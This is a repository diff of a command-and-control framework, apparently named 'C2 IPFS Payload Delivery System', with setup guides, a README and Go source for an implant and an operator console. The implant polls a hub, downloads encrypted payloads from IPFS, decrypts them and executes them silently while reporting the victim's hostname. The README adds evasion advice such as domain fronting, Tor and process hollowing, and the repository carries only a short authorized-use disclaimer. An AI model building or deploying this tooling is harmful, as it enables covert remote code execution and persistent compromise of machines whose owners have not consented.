Compare commits

...

13 Commits
main ... main

18 changed files with 2426 additions and 0 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,161 @@
# IPFS Upload Guide
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
## Option 1: Local IPFS Node (Recommended)
### Install IPFS (Kubo)
```bash
# Download Kubo v0.29.0
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
# Extract
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
# Install
cd kubo
sudo bash install.sh
# Initialize
ipfs init
# Start the daemon
ipfs daemon &
# Wait for it to be ready
ipfs id
```
### Upload a File
```bash
# Add a file to IPFS
ipfs add payload.enc
# Output: added QmX... payload.enc
# The hash is your CID: QmX...
```
### Start the Daemon on Boot
```bash
# Systemd service
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
[Unit]
Description=IPFS Daemon
After=network.target
[Service]
ExecStart=/usr/local/bin/ipfs daemon
Restart=on-failure
User=root
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable ipfs
sudo systemctl start ipfs
```
### IPFS API
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
The server uses this by default.
## Option 2: Pinata.cloud (Free Tier)
Pinata offers a free tier with 1GB of storage — no local node needed.
### Setup
1. Create an account at https://pinata.cloud
2. Go to API Keys and generate a JWT
3. Use it with the server/upload tool
### Upload via API
```bash
curl -X POST \
-H "Authorization: Bearer <your-jwt>" \
-F "file=@payload.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
```
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
### Upload via the C2 Tools
```bash
# Using the upload helper
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
# Or with server
./server -pinata-jwt <jwt> -mode http
# Then in console: deploy payload.bin
```
## Option 3: web3.storage (Free)
https://web3.storage offers 5GB free with API key auth.
```bash
curl -X POST \
-H "Authorization: Bearer <api-token>" \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.enc \
https://api.web3.storage/upload
```
## Option 4: Infura IPFS API
Infura provides free IPFS API access (rate limited).
```bash
# Upload
curl -X POST \
-F "file=@payload.enc" \
"https://ipfs.infura.io:5001/api/v0/add"
# Requires project ID/secret for authenticated gateways
```
## Gateway URLs for Download
The implant supports multiple gateway fallback. Configure via `--gateways`.
Default gateways used by the implant:
| Gateway | URL Template |
|---------|-------------|
| ipfs.io | `https://ipfs.io/ipfs/%s` |
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
| dweb.link | `https://dweb.link/ipfs/%s` |
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
Custom gateways:
```bash
./client --cid-source <url> --decryption-key <key> \
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
```
## CID Verification
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
The hash is derived from the file content — changing even one bit changes the CID.
The implant downloads the payload and can verify the SHA-256 hash matches the CID
(for CIDv0, this requires base58 decoding of the multihash — a proper production
implementation would add a base58 library for full verification).
## OpSec Notes
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.

423
c2s_ipfs_payloads/README.md Normal file
View File

@ -0,0 +1,423 @@
# C2 IPFS Payload Delivery System
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
## Architecture
```
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Operator │────▶│ CID Source │────▶│ Implant │
│ Console │ │ (HTTP or │ │ │
│ (server) │ │ Contract) │ │ (client) │
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
│ │ │
│ encrypt + upload │ serves CID │ polls for CID
▼ ▼ ▼
┌─────────┐ ┌──────────┐ ┌──────────┐
│ IPFS │ │ Implants │ │ IPFS │
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
└─────────┘ └──────────┘ └──────────┘
```
### Data Flow
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
3. **Implant** polls the CID source periodically with jitter
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
5. **Implant** decrypts with the pre-shared key, executes, reports status
## Modes
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
```
┌──────────┐ GET /cid ┌──────────┐
│ Server │◀──────────────│ Implant │
│ :8443 │ ──────────▶│ │
└────┬─────┘ POST /cid └──────────┘
│ POST /cid {"cid":"Qm..."}
┌──┴──┐
│Operator│
└──────┘
```
### MODE B — Smart Contract CID Feed (Fully Decentralized)
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
**Pros:** Fully decentralized, censorship-resistant, transparent.
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
```
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
│ Operator │──────────────▶│ Smart │ │ Implant │
│ Wallet │ │ Contract │◀───│ (watcher)│
└──────────┘ └──────┬───────┘ └──────────┘
┌───▼───┐
│ Events │
│ (logs) │
└───────┘
```
## Quick Start (Mode A — 5 minutes)
### 1. Build
```bash
# Clone or cd into the project
cd c2-ipfs-payload
# Build all tools
go build -o server ./cmd/server
go build -o client ./cmd/client
go build -o upload ./cmd/upload
# Or build the ethereum-enabled versions
go build -tags ethereum -o server-eth ./cmd/server
go build -tags ethereum -o client-eth ./cmd/client
```
### 2. Start IPFS
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
```bash
# Install and start IPFS daemon
ipfs init && ipfs daemon &
```
### 3. Start the Server
```bash
./server --port 8443
```
The server will:
- Generate a new encryption key (save this!)
- Start the HTTP CID hub on port 8443
- Open the operator console
### 4. Deploy a Payload
In the operator console:
```
> deploy /path/to/payload.bin
```
Or manually:
```bash
# Using the upload helper
./upload -key $(cat key.txt) -file payload.bin
# Then in the console:
> cid QmX...
```
### 5. Start the Implant
```bash
./client \
--cid-source http://your-server:8443 \
--decryption-key <key-from-server> \
--poll-interval 30
```
## Server Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--port` | `8443` | HTTP server port (mode A) |
| `--user` | `""` | Basic auth username (mode A) |
| `--pass` | `""` | Basic auth password (mode A) |
| `--jwt` | `""` | JWT token (overrides basic auth) |
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
| `--contract` | `""` | Contract address (mode B) |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--max-history` | `100` | Max history entries |
### Console Commands
| Command | Description |
|---------|-------------|
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
| `cid <cid>` | Manually set a CID |
| `encrypt <file>` | Encrypt a file and upload to IPFS |
| `status` | Show current state |
| `history` | Show recent CID history |
| `genkey` | Generate a new encryption key |
| `help` | Show help |
| `exit` | Shutdown |
### API Endpoints (Mode A)
| Method | Path | Auth | Description |
|--------|------|------|-------------|
| `GET` | `/cid` | Optional | Get current CID |
| `POST` | `/cid` | Optional | Set a new CID |
| `GET` | `/history` | Optional | Get recent CIDs |
| `GET` | `/status` | Optional | Server status |
| `GET` | `/` | No | API info |
**Example:**
```bash
# Set CID
curl -X POST http://server:8443/cid \
-H "Content-Type: application/json" \
-d '{"cid":"QmX...","note":"stage2 payload"}'
# Get current CID
curl http://server:8443/cid
# Get history
curl http://server:8443/history
```
Auth:
```bash
# With basic auth
curl -u admin:password http://server:8443/cid
# With JWT
curl -H "Authorization: Bearer <token>" http://server:8443/cid
```
## Client Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
| `--poll-interval` | `60` | Poll interval in seconds |
| `--mode` | `"http"` | `http` or `contract` |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
| `--report-url` | `""` | URL to POST execution reports |
| `--config` | `""` | Config file for persistence |
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
| `--id` | auto | Implant ID |
### Behavior
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
- **Auto-reporting**: Posts execution results to a report URL (optional)
- **Signal handling**: Saves state on SIGINT/SIGTERM
## Encryption
- **Algorithm**: AES-256-GCM (authenticated encryption)
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
### Key Management
```bash
# Generate a key via server (recommended)
./server # auto-generates on start
# Generate a key manually
./upload -key <any-32-byte-hex> -file test.bin --no-upload
# Better: use genkey in server console
# Derive from passphrase
./client --decryption-key "my-secret-passphrase"
```
## Smart Contract (Mode B)
### Contract Interface
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CIDFeed {
string public latestCID;
event NewCID(address indexed sender, string cid, uint256 timestamp);
function publishCID(string memory _cid) public {
latestCID = _cid;
emit NewCID(msg.sender, _cid, block.timestamp);
}
}
```
### Deploy and Use
```bash
# Build with ethereum support
go build -tags ethereum -o server-eth ./cmd/server
# Start in contract mode
./server-eth \
--mode contract \
--contract 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--enc-key <key>
# Use the console
> send-cid 0x... QmX...
```
### Watching Mode B from the Implant
```bash
go build -tags ethereum -o client-eth ./cmd/client
./client-eth \
--mode contract \
--cid-source 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--decryption-key <key>
```
## Payload Workflow Walkthrough
### Complete Deployment Cycle
```bash
# 1. Build everything
go build -o server ./cmd/server
go build -o client ./cmd/client
# 2. Start IPFS daemon
ipfs daemon &
# 3. Start the server (generates key)
./server --port 8443
# 4. In the server console:
> genkey
New encryption key: a1b2c3d4e5f6... (64 hex chars)
> deploy shellcode.bin
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
Uploading to IPFS...
Uploaded! CID: QmXyZ...
Deployed!
# 5. On the target:
./client \
--cid-source http://hub.example.com:8443 \
--decryption-key a1b2c3d4e5f6... \
--poll-interval 30
# 6. Implant output:
Implant started (ID: aabbccdd, mode: http)
Poll interval: 30s with jitter
CID source: http://hub.example.com:8443
New CID detected: QmXyZ...
Fetching payload from IPFS (544 bytes)...
Decrypted payload (512 bytes), executing...
Payload executed (PID: 12345)
# 7. Deploy the next stage:
> deploy stage2.bin
Deployed! CID: QmAbCd...
```
### Manual Workflow (No IPFS Daemon)
```bash
# 1. Encrypt locally
./upload -key <key> -file payload.bin --no-upload
# 2. Upload via Pinata
curl -X POST \
-H "Authorization: Bearer <pinata-jwt>" \
-F "file=@payload.bin.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
# 3. Set the CID on the hub
curl -X POST http://server:8443/cid \
-d '{"cid":"QmFromPinata"}'
```
## OpSec Notes
### Network
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
### Encryption
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
### Implant
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
- **Jittered polling**: Reduces fingerprintable patterns
- **Config persistence**: Encrypt the config file if saved on disk
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
### Legal
This tool is for authorized red teaming, penetration testing, and security research.
Do not use against systems you do not own or have explicit written permission to test.
## Build Requirements
- Go 1.21+
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
### Platform Support
| Platform | Mode A | Mode B |
|----------|--------|--------|
| Linux x86_64 | YES | YES |
| Linux arm64 | YES | YES |
| macOS x86_64/arm64 | YES | YES |
| Windows (cross-compile) | YES | x (CGo) |
| OpenBSD/FreeBSD | YES | x |
## Project Structure
```
c2-ipfs-payload/
├── cmd/
│ ├── server/main.go # Operator console + CID hub
│ ├── client/main.go # Implant
│ └── upload/main.go # Helper: encrypt + upload
├── pkg/
│ ├── types/types.go # Shared data types
│ ├── crypto/crypto.go # AES-256-GCM encryption
│ ├── ipfs/ipfs.go # IPFS upload/download
│ ├── auth/auth.go # HTTP auth middleware
│ └── contract/
│ ├── contract.go # Contract interface (no deps)
│ └── contract_eth.go # go-ethereum implementation
├── README.md # This file
└── IPFS_UPLOAD.md # IPFS setup guide
```
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY

View File

@ -0,0 +1,403 @@
// Command client is the implant for the C2 IPFS payload delivery system.
//
// It polls a CID source (HTTP hub or smart contract), fetches payloads
// from IPFS when a new CID is detected, decrypts, and executes them.
//
// Usage:
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"math/big"
"net/http"
"os"
"os/exec"
"os/signal"
"runtime"
"strings"
"sync"
"syscall"
"time"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
)
type Implant struct {
mu sync.RWMutex
config types.Config
lastCID string
lastFetchTime time.Time
httpClient *http.Client
pollTicker *time.Ticker
stopCh chan struct{}
fetchCount int
execCount int
startTime time.Time
}
func NewImplant(cfg types.Config) *Implant {
if cfg.ImplantID == "" {
// Generate a random implant ID
idBytes := make([]byte, 8)
rand.Read(idBytes)
cfg.ImplantID = hex.EncodeToString(idBytes)
}
if len(cfg.Gateways) == 0 {
cfg.Gateways = ipfs.DefaultGateways
}
if cfg.PollInterval <= 0 {
cfg.PollInterval = 60 // default 60 seconds
}
if cfg.Mode == "" {
cfg.Mode = "http"
}
return &Implant{
config: cfg,
lastCID: cfg.LastCID,
httpClient: &http.Client{Timeout: 30 * time.Second},
stopCh: make(chan struct{}),
startTime: time.Now(),
}
}
// poll fetches the current CID from the configured source.
func (im *Implant) poll() (string, error) {
switch im.config.Mode {
case "http":
return im.pollHTTP()
case "contract":
return im.pollContract()
default:
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
}
}
// pollHTTP fetches the current CID from the HTTP CID hub.
func (im *Implant) pollHTTP() (string, error) {
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return "", fmt.Errorf("failed to create request: %w", err)
}
if im.config.JWTFetch != "" {
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
}
resp, err := im.httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("HTTP request failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusNotFound {
return "", nil // No CID set yet
}
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
if err != nil {
return "", fmt.Errorf("failed to read response: %w", err)
}
var result struct {
CID string `json:"cid"`
}
if err := json.Unmarshal(body, &result); err != nil {
return "", fmt.Errorf("failed to parse response: %w", err)
}
return result.CID, nil
}
// pollContract watches smart contract events.
// This is a placeholder — real implementation requires go-ethereum.
func (im *Implant) pollContract() (string, error) {
// TODO: Implement contract event watching when built with -tags ethereum
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
}
// processCID handles a new CID: fetch, verify, decrypt, execute.
func (im *Implant) processCID(cid string) error {
log.Printf("New CID detected: %s", cid)
// 1. Fetch from IPFS
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
data, err := ipfs.Download(cid, im.config.Gateways)
if err != nil {
return fmt.Errorf("IPFS download failed: %w", err)
}
log.Printf("Downloaded %d bytes from IPFS", len(data))
// 2. Verify content addressing
if err := ipfs.VerifyCID(data, cid); err != nil {
return fmt.Errorf("CID verification failed: %w", err)
}
// 3. Decrypt
key := crypto.DeriveKey(im.config.DecryptionKey)
// Try hex key first; fall back to derived key
var plaintext []byte
var decErr error
if len(im.config.DecryptionKey) == 64 {
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
plaintext, decErr = crypto.Decrypt(data, keyBytes)
}
}
if plaintext == nil {
plaintext, decErr = crypto.Decrypt(data, key)
}
if decErr != nil {
return fmt.Errorf("decryption failed: %w", decErr)
}
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
// 4. Save to temp file
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
if err != nil {
return fmt.Errorf("failed to save temp file: %w", err)
}
defer os.Remove(tmpFile)
// 5. Execute
cmd := exec.Command(tmpFile)
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
cmd.Stderr = nil
cmd.Stdin = nil
if err := cmd.Start(); err != nil {
return fmt.Errorf("execution failed: %w", err)
}
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
im.mu.Lock()
im.execCount++
im.lastCID = cid
im.lastFetchTime = time.Now()
im.mu.Unlock()
// 6. Report back (fire and forget)
go im.report(cid, true, "")
return nil
}
// report sends execution status back to the operator.
func (im *Implant) report(cid string, success bool, errMsg string) {
if im.config.ReportURL == "" {
return
}
hostname, _ := os.Hostname()
report := types.ImplantReport{
ImplantID: im.config.ImplantID,
CID: cid,
Success: success,
Error: errMsg,
Platform: runtime.GOOS + "/" + runtime.GOARCH,
Hostname: hostname,
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
data, _ := json.Marshal(report)
im.httpClient.Post(im.config.ReportURL, "application/json",
strings.NewReader(string(data)))
}
// run starts the main polling loop with jitter.
func (im *Implant) run() {
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
log.Printf("CID source: %s", im.config.CIDSource)
if im.config.ReportURL != "" {
log.Printf("Report URL: %s", im.config.ReportURL)
}
// Initial poll
im.pollLoop()
// Start ticker with jitter
baseInterval := time.Duration(im.config.PollInterval) * time.Second
im.pollTicker = time.NewTicker(baseInterval)
for {
select {
case <-im.pollTicker.C:
im.pollLoop()
case <-im.stopCh:
log.Println("Implant shutting down...")
return
}
}
}
// pollLoop performs one poll cycle with jitter.
func (im *Implant) pollLoop() {
// Add jitter: ±20% of polling interval
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
if jitterRange < 1 {
jitterRange = 1
}
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
cid, err := im.poll()
if err != nil {
log.Printf("Poll error: %v", err)
return
}
if cid == "" {
return // No CID available yet
}
im.mu.RLock()
lastCID := im.lastCID
im.mu.RUnlock()
if cid == lastCID {
return // Same CID, nothing to do
}
if err := im.processCID(cid); err != nil {
log.Printf("CID processing error: %v", err)
im.report(cid, false, err.Error())
}
}
// saveConfig persists the current state to a config file.
func (im *Implant) saveConfig(path string) error {
im.mu.RLock()
cfg := im.config
cfg.LastCID = im.lastCID
im.mu.RUnlock()
data, err := json.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
// loadConfig loads implant state from a config file.
func loadConfig(path string) (*types.Config, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var cfg types.Config
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, err
}
return &cfg, nil
}
func main() {
var (
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
reportURL = flag.String("report-url", "", "URL to POST execution reports")
configFile = flag.String("config", "", "Path to config file (for persistence)")
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
)
flag.Parse()
if *cidSource == "" {
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
}
if *decryptionKey == "" {
log.Fatal("--decryption-key is required")
}
// Parse gateways
var gwList []string
if *gateways != "" {
gwList = strings.Split(*gateways, ",")
}
_ = rpcURL // used in mode B (contract)
// Build config
cfg := types.Config{
ImplantID: *implantID,
DecryptionKey: *decryptionKey,
PollInterval: *pollInterval,
CIDSource: *cidSource,
Mode: *mode,
Gateways: gwList,
ReportURL: *reportURL,
JWTFetch: *jwtFetch,
}
// Try loading from config file for persistence
if *configFile != "" {
savedCfg, err := loadConfig(*configFile)
if err == nil {
// Merge: CLI flags override config file
if *implantID == "" && savedCfg.ImplantID != "" {
cfg.ImplantID = savedCfg.ImplantID
}
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
cfg.DecryptionKey = savedCfg.DecryptionKey
}
if *cidSource == "" && savedCfg.CIDSource != "" {
cfg.CIDSource = savedCfg.CIDSource
}
if savedCfg.LastCID != "" {
cfg.LastCID = savedCfg.LastCID
}
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
cfg.Gateways = savedCfg.Gateways
}
}
}
implant := NewImplant(cfg)
// Periodically save config for persistence
if *configFile != "" {
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for range ticker.C {
if err := implant.saveConfig(*configFile); err != nil {
log.Printf("Failed to save config: %v", err)
}
}
}()
}
// Handle signals
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
log.Println("Received shutdown signal")
if *configFile != "" {
implant.saveConfig(*configFile)
}
os.Exit(0)
}()
implant.run()
}

View File

@ -0,0 +1,505 @@
// Command server is the operator console for the C2 IPFS payload delivery system.
//
// MODE A — Simple HTTP CID Hub:
// Runs a lightweight HTTP server that serves new CIDs.
// Implants poll GET /cid for the current CID.
//
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
// Build with: go build -tags ethereum ./cmd/server
// Interacts with an Ethereum smart contract that emits NewCID events.
package main
import (
"bufio"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
)
// Server state.
type Server struct {
mu sync.RWMutex
currentCID string
history []types.CIDEntry
startTime time.Time
mode string // "http" or "contract"
ipfsClient *ipfs.Client
encKey []byte
config Config
// For contract mode
contractAddress string
rpcURL string
}
// Config holds server configuration flags.
type Config struct {
port int
username string
password string
jwtToken string
mode string
ipfsAPI string
pinataJWT string
encKeyHex string
contractAddr string
rpcURL string
maxHistory int
}
func (s *Server) addHistory(cid, note string) {
s.mu.Lock()
defer s.mu.Unlock()
entry := types.CIDEntry{
CID: cid,
Timestamp: time.Now().UTC(),
Note: note,
}
s.history = append(s.history, entry)
if len(s.history) > s.config.maxHistory {
s.history = s.history[len(s.history)-s.config.maxHistory:]
}
s.currentCID = cid
}
// --- HTTP Handlers (Mode A) ---
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
s.mu.RUnlock()
if cid == "" {
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
}
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req struct {
CID string `json:"cid"`
Note string `json:"note,omitempty"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
return
}
req.CID = strings.TrimSpace(req.CID)
if !ipfs.IsValidCID(req.CID) {
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
return
}
s.addHistory(req.CID, req.Note)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"cid": req.CID,
})
}
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
w.Header().Set("Content-Type", "application/json")
if history == nil {
w.Write([]byte("[]"))
return
}
json.NewEncoder(w).Encode(history)
}
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
resp := types.StatusResponse{
CurrentCID: cid,
History: history,
Mode: s.mode,
Uptime: time.Since(s.startTime).Round(time.Second).String(),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
}
// --- Operator Console ---
func (s *Server) runConsole() {
scanner := bufio.NewScanner(os.Stdin)
fmt.Println()
fmt.Println("╔══════════════════════════════════════════╗")
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════╝")
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
if s.mode == "http" {
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
}
fmt.Println()
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shutdown")
fmt.Println()
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
cmd := parts[0]
switch cmd {
case "exit", "quit":
fmt.Println("Shutting down...")
os.Exit(0)
case "help":
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" exit — Shutdown")
case "genkey":
key, err := crypto.GenerateKey()
if err != nil {
fmt.Printf("Error: %v\n", err)
continue
}
fmt.Printf("New encryption key: %s\n", key)
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
fmt.Println("Share it with implants via --decryption-key")
case "status":
s.mu.RLock()
fmt.Printf("Current CID: %s\n", s.currentCID)
fmt.Printf("Mode: %s\n", s.mode)
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
fmt.Printf("History entries: %d\n", len(s.history))
fmt.Printf("Contract address: %s\n", s.contractAddress)
s.mu.RUnlock()
case "history":
s.mu.RLock()
if len(s.history) == 0 {
fmt.Println("No history.")
} else {
fmt.Println("Recent CIDs:")
for i, entry := range s.history {
note := entry.Note
if note == "" {
note = "(no note)"
}
fmt.Printf(" %d. %s [%s] %s\n",
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
}
}
s.mu.RUnlock()
case "cid":
if len(parts) < 2 {
fmt.Println("Usage: cid <cid>")
continue
}
newCID := parts[1]
if !ipfs.IsValidCID(newCID) {
fmt.Println("Invalid CID format.")
continue
}
note := ""
if len(parts) > 2 {
note = strings.Join(parts[2:], " ")
}
s.addHistory(newCID, note)
fmt.Printf("CID updated to: %s\n", newCID)
case "encrypt":
if len(parts) < 2 {
fmt.Println("Usage: encrypt <file>")
continue
}
filePath := parts[1]
s.cmdEncrypt(filePath)
case "deploy":
if len(parts) < 2 {
fmt.Println("Usage: deploy <payload>")
continue
}
filePath := parts[1]
s.cmdDeploy(filePath)
default:
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
}
}
}
